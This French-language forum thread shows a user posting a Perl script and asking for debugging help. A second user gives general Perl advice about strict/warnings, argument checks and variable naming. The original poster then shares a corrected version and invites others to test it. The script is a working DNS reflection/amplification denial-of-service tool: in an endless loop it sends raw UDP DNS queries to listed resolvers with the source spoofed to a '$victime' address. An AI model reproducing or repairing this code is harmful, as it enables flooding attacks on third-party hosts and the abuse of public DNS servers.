Discussion :

[SmoZy]

Bonjour voila j'ai coder un scripts qui permet d'envoyer des packets sur des serveurs DNS
je ne sais pas d’où vient cette erreur mais elle me gène énormément


voici le code

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
 
 
use Net::DNS;
use Net::DNS::Packet;
use IO::Socket;
use threads;
use Socket;
use Term::ANSIColor; 
use Net::RawIP; 
use IO::Socket::INET;
 
if ($#ARGV == 0) {
print "Utilisation : perl sc.pl [IP]  [Liste]\n";
 
exit(1);
}
 
my $victime = $ARGV[0];
my $domaine = "isc.org";
 
 
my $liste = $ARGV[3]; 
 open my $handle, '<', $liste;
    chomp(my @servers = <$handle>);
    close $handle;
my $servers;
 
 
 
 
 
 
    while (1) {
        my $ip = $servers[ int( rand(@servers) ) ];
 
my $dnspacket = new Net::DNS::Packet($domaine, "A", "IN");
my $dnsdata = $dnspacket->data;
my $sock = new Net::RawIP({udp=>{}});
$sock->set({
ip => {saddr => $victime, daddr => $ip, frag_off=>0,tos=>0,id=>1565},
udp => {source => 53, dest => 53, data=>$dnsdata}
});
$sock->send;
 
    }

Merci d'avance pour votre aide

[Lolo78]

Sur la partie Réseaux, je ne peux pas vraiment t'aider, ça fait presque 20 ans que je n'ai pas fait de programmation réseau (à quelques rares exceptions près), et à l'époque je ne connaissais pas Perl (c'était surtout du C et un peu de Fortran).

Mais sur ton code Perl, quelques remarques qui devraient pouvoir t'aider.

Au vu du code, que tu as posté, je ne suis pas convaincu que tu aies besoin de tous ces modules:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
use Net::DNS;
use Net::DNS::Packet;
use IO::Socket;
use threads;
use Socket;
use Term::ANSIColor; 
use Net::RawIP; 
use IO::Socket::INET

En revanche, je t'incite fortement à ajouter dans tous tes programmes de plus d'une ligne les deux pragmas suivants (si tu ne les as pas déjà):

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
use strict;
use warnings;

Je pense qu'ils t'auraient sans doute donné des indications sur des erreurs dans ton code.

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
if ($#ARGV == 0) {
print "Utilisation : perl sc.pl [IP]  [Liste]\n";
exit(1);
}

D'après la syntaxe proposée par le print, il faut au moins deux arguments. Le test devrait dont être au moins:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
if (@ARGV < 2 ) { # en contexte scalaire, @ARGV retourne ne nombre d'arguments
     #...
}

Mais la suite du prigramme:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
 
my $liste = $ARGV[3];

semble montrer qu'il faut au moins quatre arguments (@ARGV[0..3]). Donc le test devrait être:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
if (@ARGV < 4) { # en contexte scalaire, @ARGV retourne ne nombre d'arguments
     #...
}

Ensuite, le code suivant:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
 
chomp(my @servers = <$handle>);
close $handle;
my $servers;

est bizarre. Je me trompe peut-être, mais tu parais croire qu'il y a un lien entre @servers et $servers. Il n'y en a pas vraiment (ce sont des éléments différents de la table des symboles), mais c'est à mon avis une mauvaise idée d'utiliser @servers et $servers dans le même programme. Même si Perl sait en principe gérer, il y a un gros risque de confusion.

[SmoZy]

Apres quelques correction au niveau des use j'avais completement oublier warnings et strict
j'ai changer le systeme d'argument et au final tout semble marcher vous pouvez le tester par vous meme

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 
 
#!/usr/bin/perl
use strict;
use warnings;
use Net::DNS;
use Net::DNS::Packet;
use IO::Socket;
use threads;
use Socket;
use Term::ANSIColor;
use Net::RawIP;
use IO::Socket::INET;
my $PROG;
( $PROG = $0 ) =~ s/^.*[\/\\]//;
 
if ( @ARGV == 0 ) {
        print "Utilisation : ./$PROG [Adresse IP] [Liste] \n\n";
 
    exit;
}
 
 
my $victime = $ARGV[0];
my $domaine = "isc.org";
 
 
my $liste = $ARGV[1];
 open my $handle, '<', $liste;
    chomp(my @servers = <$handle>);
    close $handle;
my $servers;
 
 
 
 
 
 
    while (1) {
        my $ip = $servers[ int( rand(@servers) ) ];
 
my $dnspacket = new Net::DNS::Packet($domaine, "A", "IN");
my $dnsdata = $dnspacket->data;
my $sock = new Net::RawIP({udp=>{}});
$sock->set({
ip => {saddr => $victime, daddr => $ip, frag_off=>0,tos=>0,id=>1565},
udp => {source => 53, dest => 53, data=>$dnsdata}
});
$sock->send;
 
    }